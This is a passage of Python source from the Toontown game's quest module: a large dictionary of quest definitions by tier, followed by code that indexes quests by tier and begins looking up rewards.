280, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 9126: (DL_TIER + 3, Start, (CogQuest, Anywhere, 240, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 9127: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 9128: (DL_TIER + 3, Start, (CogQuest, Anywhere, 200, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 9129: (DL_TIER + 3, Start, (CogQuest, Anywhere, 120, 'le'), Any, ToonHQ, Any, NA, DefaultDialog), 9130: (DL_TIER + 3, Start, (CogQuest, Anywhere, 80, 'bw'), Any, ToonHQ, Any, NA, DefaultDialog), 9131: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 320, 9), Any, ToonHQ, Any, NA, DefaultDialog), 9132: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 400, 9), Any, ToonHQ, Any, NA, DefaultDialog), 9133: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 240, 10), Any, ToonHQ, Any, NA, DefaultDialog), 9134: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 280, 10), Any, ToonHQ, Any, NA, DefaultDialog), 9135: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 160, 11), Any, ToonHQ, Any, NA, DefaultDialog), 9136: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 200, 11), Any, ToonHQ, Any, NA, DefaultDialog), 9137: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 80, 12), Any, ToonHQ, Any, NA, DefaultDialog), 9138: (DL_TIER + 3, Start, (CogLevelQuest, Anywhere, 120, 12), Any, ToonHQ, Any, NA, DefaultDialog), 9139: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 400, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 9140: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 400, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 9141: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 400, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 9142: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 400, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 9143: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 500, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 9144: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 500, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 9145: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 500, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 9146: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 500, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 9147: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 600, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 9148: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 600, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 9149: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 600, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 9150: (DL_TIER + 3, Start, (CogTrackQuest, Anywhere, 600, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 9151: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 400, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 9152: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 200, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 9153: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 200, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 9154: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 200, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9155: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 100, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9156: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 100, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9157: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 100, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9158: (DL_TIER + 3, Start, (BuildingQuest, Anywhere, 100, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9160: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 45, Any, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9161: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 45, Any, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9162: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 45, Any, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9163: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 45, Any, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9164: (DL_TIER + 3, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9165: (DL_TIER + 3, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9166: (DL_TIER + 3, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9167: (DL_TIER + 3, Start, (BuildingNewbieQuest, Anywhere, 1, Any, 3, NEWBIE_HP), Any, ToonHQ, 609, NA, DefaultDialog), 9170: (DL_TIER + 3, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 350, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9171: (DL_TIER + 3, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 400, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9172: (DL_TIER + 3, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 500, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9173: (DL_TIER + 3, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 200, 4), Any, ToonHQ, Any, NA, DefaultDialog), 9174: (DL_TIER + 3, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 150, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9175: (DL_TIER + 3, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotHQ, 150, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9176: (DL_TIER + 3, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 150, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9177: (DL_TIER + 3, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 100, 6), Any, ToonHQ, Any, NA, DefaultDialog), 9178: (DL_TIER + 3, OBSOLETE, (CogLevelQuest, ToontownGlobals.SellbotFactoryInt, 100, 6), Any, ToonHQ, Any, NA, DefaultDialog), 9179: (DL_TIER + 3, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 25), Any, ToonHQ, Any, NA, DefaultDialog), 9180: (DL_TIER + 3, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 35), Any, ToonHQ, Any, NA, DefaultDialog), 9181: (DL_TIER + 3, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 25), Any, ToonHQ, Any, NA, DefaultDialog), 9182: (DL_TIER + 3, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 35), Any, ToonHQ, Any, NA, DefaultDialog), 9183: (DL_TIER + 3, OBSOLETE, (SkelecogQuest, ToontownGlobals.SellbotFactoryInt, 150), Any, ToonHQ, Any, NA, DefaultDialog), 9184: (DL_TIER + 3, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 80, 5), Any, ToonHQ, Any, NA, DefaultDialog), 9185: (DL_TIER + 3, OBSOLETE, (SkelecogLevelQuest, ToontownGlobals.SellbotHQ, 32, 6), Any, ToonHQ, Any, NA, DefaultDialog), 9186: (DL_TIER + 3, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 25), Any, ToonHQ, Any, NA, DefaultDialog), 9187: (DL_TIER + 3, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 35), Any, ToonHQ, Any, NA, DefaultDialog), 9188: (DL_TIER + 3, OBSOLETE, (VPQuest, ToontownGlobals.SellbotHQ, 3), Any, ToonHQ, Any, NA, DefaultDialog), 9189: (DL_TIER + 3, OBSOLETE, (RescueQuest, ToontownGlobals.SellbotHQ, 3), Any, ToonHQ, Any, NA, DefaultDialog), 9190: (DL_TIER + 3, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 35, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9191: (DL_TIER + 3, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 35, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9192: (DL_TIER + 3, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 35, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9193: (DL_TIER + 3, OBSOLETE, (SkelecogNewbieQuest, ToontownGlobals.SellbotHQ, 10, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9194: (DL_TIER + 3, OBSOLETE, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 4, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9195: (DL_TIER + 3, OBSOLETE, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 4, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9196: (DL_TIER + 3, OBSOLETE, (ForemanNewbieQuest, ToontownGlobals.SellbotFactoryInt, 4, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9197: (DL_TIER + 3, OBSOLETE, (VPNewbieQuest, ToontownGlobals.SellbotHQ, 2, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9198: (DL_TIER + 3, OBSOLETE, (RescueNewbieQuest, ToontownGlobals.SellbotHQ, 2, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9201: (DL_TIER + 3, Start, (CogQuest, ToontownGlobals.CashbotHQ, 350, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9202: (DL_TIER + 3, Start, (CogQuest, ToontownGlobals.CashbotHQ, 400, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9203: (DL_TIER + 3, Start, (CogQuest, ToontownGlobals.CashbotHQ, 450, Any), Any, ToonHQ, Any, NA, DefaultDialog), 9204: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 200, 7), Any, ToonHQ, Any, NA, DefaultDialog), 9205: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 150, 8), Any, ToonHQ, Any, NA, DefaultDialog), 9206: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.CashbotHQ, 100, 9), Any, ToonHQ, Any, NA, DefaultDialog), 9207: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntA, 200, 10), Any, ToonHQ, Any, NA, DefaultDialog), 9208: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntB, 150, 10), Any, ToonHQ, Any, NA, DefaultDialog), 9209: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.CashbotMintIntC, 100, 11), Any, ToonHQ, Any, NA, DefaultDialog), 9210: (DL_TIER + 3, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 35), Any, ToonHQ, Any, NA, DefaultDialog), 9211: (DL_TIER + 3, Start, (MintQuest, ToontownGlobals.CashbotMintIntB, 30), Any, ToonHQ, Any, NA, DefaultDialog), 9212: (DL_TIER + 3, Start, (MintQuest, ToontownGlobals.CashbotMintIntC, 25), Any, ToonHQ, Any, NA, DefaultDialog), 9213: (DL_TIER + 3, Start, (SkelecogQuest, ToontownGlobals.CashbotMintIntA, 150), Any, ToonHQ, Any, NA, DefaultDialog), 9214: (DL_TIER + 3, Start, (SkelecogQuest, ToontownGlobals.CashbotMintIntB, 100), Any, ToonHQ, Any, NA, DefaultDialog), 9215: (DL_TIER + 3, Start, (SkelecogQuest, ToontownGlobals.CashbotMintIntC, 50), Any, ToonHQ, Any, NA, DefaultDialog), 9216: (DL_TIER + 3, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntA, 35), Any, ToonHQ, Any, NA, DefaultDialog), 9217: (DL_TIER + 3, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntB, 30), Any, ToonHQ, Any, NA, DefaultDialog), 9218: (DL_TIER + 3, Start, (SupervisorQuest, ToontownGlobals.CashbotMintIntC, 25), Any, ToonHQ, Any, NA, DefaultDialog), 9219: (DL_TIER + 3, Start, (CFOQuest, ToontownGlobals.CashbotHQ, 3), Any, ToonHQ, 622, NA, DefaultDialog), 9220: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.CashbotMintIntA, 35, Any, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9221: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.CashbotMintIntB, 30, Any, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9222: (DL_TIER + 3, Start, (CogNewbieQuest, ToontownGlobals.CashbotMintIntC, 25, Any, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9223: (DL_TIER + 3, Start, (SkelecogNewbieQuest, ToontownGlobals.CashbotHQ, 10, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9224: (DL_TIER + 3, Start, (MintNewbieQuest, ToontownGlobals.CashbotMintIntA, 6, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9225: (DL_TIER + 3, Start, (MintNewbieQuest, ToontownGlobals.CashbotMintIntB, 4, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9226: (DL_TIER + 3, Start, (MintNewbieQuest, ToontownGlobals.CashbotMintIntC, 2, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9227: (DL_TIER + 3, Start, (SupervisorNewbieQuest, ToontownGlobals.CashbotMintIntA, 6, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9228: (DL_TIER + 3, Start, (SupervisorNewbieQuest, ToontownGlobals.CashbotMintIntB, 4, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9229: (DL_TIER + 3, Start, (SupervisorNewbieQuest, ToontownGlobals.CashbotMintIntC, 2, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 9500: (DL_TIER + 3, Start, (CogQuest, ToontownGlobals.DonaldsDreamland, 1000, Any), Any, ToonHQ, NA, 9501, DefaultDialog), 9501: (DL_TIER + 3, Cont, (DeliverItemQuest, 1000), Any, 2004, 1000, NA, DefaultDialog), 9301: (DL_TIER + 3, Start, (VisitQuest,), Any, 1204, NA, 9302, TTLocalizer.QuestDialogDict[9301]), 9302: (DL_TIER + 3, Start, (SkeleReviveQuest, ToontownGlobals.BossbotCountryClubIntA, 15), 1204, Same, 102, NA, TTLocalizer.QuestDialogDict[9302]), 9303: (DL_TIER + 3, Start, (VisitQuest,), Any, 1107, NA, 9304, TTLocalizer.QuestDialogDict[9303]), 9304: (DL_TIER + 3, Start, (ClubQuest, ToontownGlobals.BossbotCountryClubIntA, 3), 1107, Same, 100, NA, TTLocalizer.QuestDialogDict[9304]), 9305: (DL_TIER + 3, Start, (VisitQuest,), Any, 1113, NA, 9306, TTLocalizer.QuestDialogDict[9305]), 9306: (DL_TIER + 3, Start, (ClubQuest, ToontownGlobals.BossbotCountryClubIntB, 2), 1113, Same, 101, NA, TTLocalizer.QuestDialogDict[9306]), 9307: (DL_TIER + 3, Start, (VisitQuest,), Any, 1318, NA, 9308, TTLocalizer.QuestDialogDict[9307]), 9308: (DL_TIER + 3, Start, (ClubQuest, ToontownGlobals.BossbotCountryClubIntC, 1), 1318, Same, 102, NA, TTLocalizer.QuestDialogDict[9308]), 9309: (DL_TIER + 3, Start, (VisitQuest,), Any, 1222, NA, 9310, TTLocalizer.QuestDialogDict[9309]), 9310: (DL_TIER + 3, Start, (CogLevelQuest, ToontownGlobals.BossbotHQ, 4, 18), 1222, Same, 707, NA, TTLocalizer.QuestDialogDict[9310]), 11000: (FINAL_TIER, Start, (VisitQuest,), Any, 5315, NA, 11001, TTLocalizer.QuestDialogDict[11000]), 11001: (FINAL_TIER, Start, (FactoryQuest, ToontownGlobals.SellbotHQ, 5), 5315, Same, NA, 11002, TTLocalizer.QuestDialogDict[11001]), 11002: (FINAL_TIER, Cont, (BuildingQuest, Anywhere, 5, 's', 5), Same, Same, NA, 11003, TTLocalizer.QuestDialogDict[11002]), 11003: (FINAL_TIER, Cont, (RecoverItemQuest, ToontownGlobals.SellbotHQ, 1, 53, VeryHard, 's', 'track'), Same, Same, 306, NA, TTLocalizer.QuestDialogDict[11003]), 12000: (FINAL_TIER, Start, (VisitQuest,), Any, 9228, NA, 12001, TTLocalizer.QuestDialogDict[12000]), 12001: (FINAL_TIER, Start, (MintQuest, ToontownGlobals.CashbotMintIntA, 4), 9928, Same, NA, 12002, TTLocalizer.QuestDialogDict[12001]), 12002: (FINAL_TIER, Cont, (MintQuest, ToontownGlobals.CashbotMintIntB, 3), Same, Same, NA, 12003, TTLocalizer.QuestDialogDict[12002]), 12003: (FINAL_TIER, Cont, (MintQuest, ToontownGlobals.CashbotMintIntC, 2), Same, Same, NA, 12004, TTLocalizer.QuestDialogDict[12003]), 12004: (FINAL_TIER, Cont, (RecoverItemQuest, ToontownGlobals.CashbotHQ, 1, 53, VeryHard, 'm', 'track'), Same, Same, 307, NA, TTLocalizer.QuestDialogDict[12004]), 13000: (FINAL_TIER, Start, (VisitQuest,), Any, 3306, NA, 13001, TTLocalizer.QuestDialogDict[13000]), 13001: (FINAL_TIER, Start, (StageQuest, ToontownGlobals.LawbotStageIntA, 4), 3306, Same, NA, 13002, TTLocalizer.QuestDialogDict[13001]), 13002: (FINAL_TIER, Cont, (BuildingQuest, Anywhere, 5, 'l', 5), Same, Same, NA, 13003, TTLocalizer.QuestDialogDict[13002]), 13003: (FINAL_TIER, Cont, (RecoverItemQuest, ToontownGlobals.LawbotHQ, 1, 53, VeryHard, 'l', 'track'), Same, Same, 308, NA, TTLocalizer.QuestDialogDict[13003]), 14000: (FINAL_TIER, Start, (VisitQuest,), Any, 1323, NA, 14001, TTLocalizer.QuestDialogDict[14000]), 14001: (FINAL_TIER, Start, (ClubQuest, ToontownGlobals.BossbotCountryClubIntB, 2), 1323, Same, NA, 14002, TTLocalizer.QuestDialogDict[14001]), 14002: (FINAL_TIER, Cont, (RecoverItemQuest, ToontownGlobals.BossbotHQ, 1, 53, VeryHard, 'c', 'track'), Same, Same, 309, NA, TTLocalizer.QuestDialogDict[14002]), 15000: (FINAL_TIER, Start, (VisitQuest,), Any, 4315, NA, 15001, TTLocalizer.QuestDialogDict[15000], 2500), 15001: (FINAL_TIER, Start, (CogQuest, Anywhere, 5, 'ca'), 4315, Same, NA, 15002, TTLocalizer.QuestDialogDict[15001], 2500), 15002: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'cn'), Same, Same, NA, 15003, TTLocalizer.QuestDialogDict[15002], 2500), 15003: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'sw'), Same, Same, NA, 15004, TTLocalizer.QuestDialogDict[15003], 2500), 15004: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'mdm'), Same, Same, NA, 15005, TTLocalizer.QuestDialogDict[15004], 2500), 15005: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'txm'), Same, Same, NA, 15006, TTLocalizer.QuestDialogDict[15005], 2500), 15006: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'mg'), Same, Same, NA, 15007, TTLocalizer.QuestDialogDict[15006], 2500), 15007: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'bfh'), Same, Same, NA, 15008, TTLocalizer.QuestDialogDict[15007], 2500), 15008: (FINAL_TIER, Cont, (CogQuest, Anywhere, 5, 'hho'), Same, Same, NA, 15009, TTLocalizer.QuestDialogDict[15008], 2500), 15009: (FINAL_TIER, Cont, (BuildingQuest, Anywhere, 6, 'g', 1), Same, Same, 101, NA, TTLocalizer.QuestDialogDict[15009], 2500), 10001: (ELDER_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 50, Any, NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10002: (ELDER_TIER, Start, (BuildingNewbieQuest, Anywhere, 4, Any, 1, NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10100: (ELDER_TIER, Start, (CogQuest, Anywhere, 80, Any), Any, ToonHQ, Any, NA, DefaultDialog), 10101: (ELDER_TIER, Start, (CogQuest, Anywhere, 100, Any), Any, ToonHQ, Any, NA, DefaultDialog), 10102: (ELDER_TIER, Start, (CogQuest, Anywhere, 120, Any), Any, ToonHQ, Any, NA, DefaultDialog), 10103: (ELDER_TIER, Start, (CogQuest, Anywhere, 200, Any), Any, ToonHQ, 613, NA, DefaultDialog), 10104: (ELDER_TIER, Start, (CogQuest, Anywhere, 250, Any), Any, ToonHQ, 615, NA, DefaultDialog), 10105: (ELDER_TIER, Start, (CogQuest, Anywhere, 300, Any), Any, ToonHQ, 616, NA, DefaultDialog), 10106: (ELDER_TIER, Start, (CogQuest, Anywhere, 400, Any), Any, ToonHQ, 618, NA, DefaultDialog), 10110: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 40, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 10111: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 30, Any, 3), Any, ToonHQ, Any, NA, DefaultDialog), 10112: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 25, Any, 4), Any, ToonHQ, Any, NA, DefaultDialog), 10113: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 20, Any, 5), Any, ToonHQ, Any, NA, DefaultDialog), 10114: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 20, 'm', 5), Any, ToonHQ, Any, NA, DefaultDialog), 10115: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 20, 's', 5), Any, ToonHQ, Any, NA, DefaultDialog), 10116: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 20, 'c', 5), Any, ToonHQ, Any, NA, DefaultDialog), 10117: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 20, 'l', 5), Any, ToonHQ, Any, NA, DefaultDialog), 10118: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 50, Any, 1), Any, ToonHQ, 620, NA, DefaultDialog), 10120: (ELDER_TIER, OBSOLETE, (CogQuest, ToontownGlobals.SellbotHQ, 60, Any), Any, ToonHQ, Any, NA, DefaultDialog), 10121: (ELDER_TIER, OBSOLETE, (FactoryQuest, ToontownGlobals.SellbotHQ, 10), Any, ToonHQ, Any, NA, DefaultDialog), 10122: (ELDER_TIER, OBSOLETE, (ForemanQuest, ToontownGlobals.SellbotHQ, 10), Any, ToonHQ, Any, NA, DefaultDialog), 10123: (ELDER_TIER, OBSOLETE, (VPQuest, ToontownGlobals.SellbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 10124: (ELDER_TIER, OBSOLETE, (CFOQuest, ToontownGlobals.CashbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 10130: (ELDER_TIER, OBSOLETE, (CogNewbieQuest, ToontownGlobals.SellbotHQ, 40, Any, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10131: (ELDER_TIER, OBSOLETE, (FactoryNewbieQuest, ToontownGlobals.SellbotHQ, 3, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10132: (ELDER_TIER, OBSOLETE, (VPNewbieQuest, ToontownGlobals.SellbotHQ, 1, SELLBOT_HQ_NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10140: (ELDER_TIER, Start, (CogQuest, ToontownGlobals.CashbotHQ, 60, Any), Any, ToonHQ, Any, NA, DefaultDialog), 10141: (ELDER_TIER, Start, (MintQuest, ToontownGlobals.CashbotHQ, 10), Any, ToonHQ, Any, NA, DefaultDialog), 10142: (ELDER_TIER, Start, (SupervisorQuest, ToontownGlobals.CashbotHQ, 10), Any, ToonHQ, Any, NA, DefaultDialog), 10143: (ELDER_TIER, OBSOLETE, (CJQuest, ToontownGlobals.LawbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 10144: (ELDER_TIER, OBSOLETE, (CEOQuest, ToontownGlobals.BossbotHQ, 2), Any, ToonHQ, Any, NA, DefaultDialog), 10145: (ELDER_TIER, Start, (CogNewbieQuest, ToontownGlobals.CashbotHQ, 40, Any, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10146: (ELDER_TIER, Start, (MintNewbieQuest, ToontownGlobals.CashbotHQ, 3, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, Any, NA, DefaultDialog), 10147: (ELDER_TIER, Start, (SupervisorNewbieQuest, ToontownGlobals.CashbotHQ, 3, CASHBOT_HQ_NEWBIE_HP), Any, ToonHQ, 611, NA, DefaultDialog), 10300: (ELDER_TIER, Start, (VisitQuest,), 2203, 2323, NA, 10301, TTLocalizer.QuestDialogDict[10300], 5000), 10308: (ELDER_TIER, Start, (VisitQuest,), 2204, 2323, NA, 10301, TTLocalizer.QuestDialogDict[10300], 5000), 10309: (ELDER_TIER, Start, (VisitQuest,), 2205, 2323, NA, 10301, TTLocalizer.QuestDialogDict[10300], 5000), 10310: (ELDER_TIER, Start, (VisitQuest,), 2206, 2323, NA, 10301, TTLocalizer.QuestDialogDict[10300], 5000), 10301: (ELDER_TIER, Start, (RecoverItemQuest, Anywhere, 1, 64, 10, AnyFish), 2323, Same, NA, 10302, DefaultDialog, 5000), 10302: (ELDER_TIER, Cont, (RecoverItemQuest, Anywhere, 30, 65, 10, Any), Same, Same, 2972, NA, TTLocalizer.QuestDialogDict[10302], 5000), 10303: (ELDER_TIER, Start, (VisitQuest,), 5209, 5201, NA, 10304, TTLocalizer.QuestDialogDict[10303], 5000), 10305: (ELDER_TIER, Start, (VisitQuest,), 5210, 5201, NA, 10304, TTLocalizer.QuestDialogDict[10303], 5000), 10306: (ELDER_TIER, Start, (VisitQuest,), 5211, 5201, NA, 10304, TTLocalizer.QuestDialogDict[10303], 5000), 10307: (ELDER_TIER, Start, (VisitQuest,), 5212, 5201, NA, 10304, TTLocalizer.QuestDialogDict[10303], 5000), 10304: (ELDER_TIER, Start, (RecoverItemQuest, Anywhere, 40, 66, 30, Any), 5201, Same, 2966, NA, TTLocalizer.QuestDialogDict[10304], 5000), 10200: (ELDER_TIER, Start, (CogQuest, Anywhere, 100, Any), Any, ToonHQ, NA, 10201, DefaultDialog), 10201: (ELDER_TIER, Cont, (DeliverItemQuest, 1000), Any, ToonTailor, 1000, NA, DefaultDialog), 10202: (ELDER_TIER, Start, (BuildingQuest, Anywhere, 25, Any, 1), Any, ToonHQ, NA, 10203, DefaultDialog), 10203: (ELDER_TIER, Cont, (DeliverItemQuest, 1000), Any, ToonTailor, 1000, NA, DefaultDialog), 10204: (ELDER_TIER, Start, (CogNewbieQuest, ToontownGlobals.ToontownCentral, 60, Any, NEWBIE_HP), Any, ToonHQ, NA, 10205, DefaultDialog), 10205: (ELDER_TIER, Cont, (DeliverItemQuest, 1000), Any, ToonTailor, 1000, NA, DefaultDialog), 10206: (ELDER_TIER, Start, (BuildingNewbieQuest, Anywhere, 4, Any, 1, NEWBIE_HP), Any, ToonHQ, NA, 10207, DefaultDialog), 10207: (ELDER_TIER, Cont, (DeliverItemQuest, 1000), Any, ToonTailor, 1000, NA, DefaultDialog), 10208: (ELDER_TIER, OBSOLETE, (CogdoQuest, Anywhere, 10, Any), Any, ToonHQ, Any, NA, DefaultDialog), 10209: (ELDER_TIER, OBSOLETE, (CogdoQuest, Anywhere, 8, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 10210: (ELDER_TIER, OBSOLETE, (CogdoQuest, Anywhere, 8, 'l'), Any, ToonHQ, Any, NA, DefaultDialog)} Tier2QuestsDict = {} for questId, questDesc in QuestDict.items(): if questDesc[QuestDictStartIndex] == Start: tier = questDesc[QuestDictTierIndex] if Tier2QuestsDict.has_key(tier): Tier2QuestsDict[tier].append(questId) else: Tier2QuestsDict[tier] = [questId] Quest2RewardDict = {} Tier2Reward2QuestsDict = {} Quest2RemainingStepsDict = {} def getAllRewardIdsForReward(rewardId): if rewardId is AnyCashbotSuitPart: return range(4000, 4011 + 1) if rewardId is AnyLawbotSuitPart: return range(4100, 4113 + 1) if rewardId is AnyBossbotSuitPart: return range(4200, 4216 + 1) return (rewardId,) def findFinalRewardId(questId): finalRewardId = Quest2RewardDict.get(questId) if finalRewardId: remainingSteps = Quest2RemainingStepsDict.get(questId) else: try: questDesc = QuestDict[questId] except KeyError: print 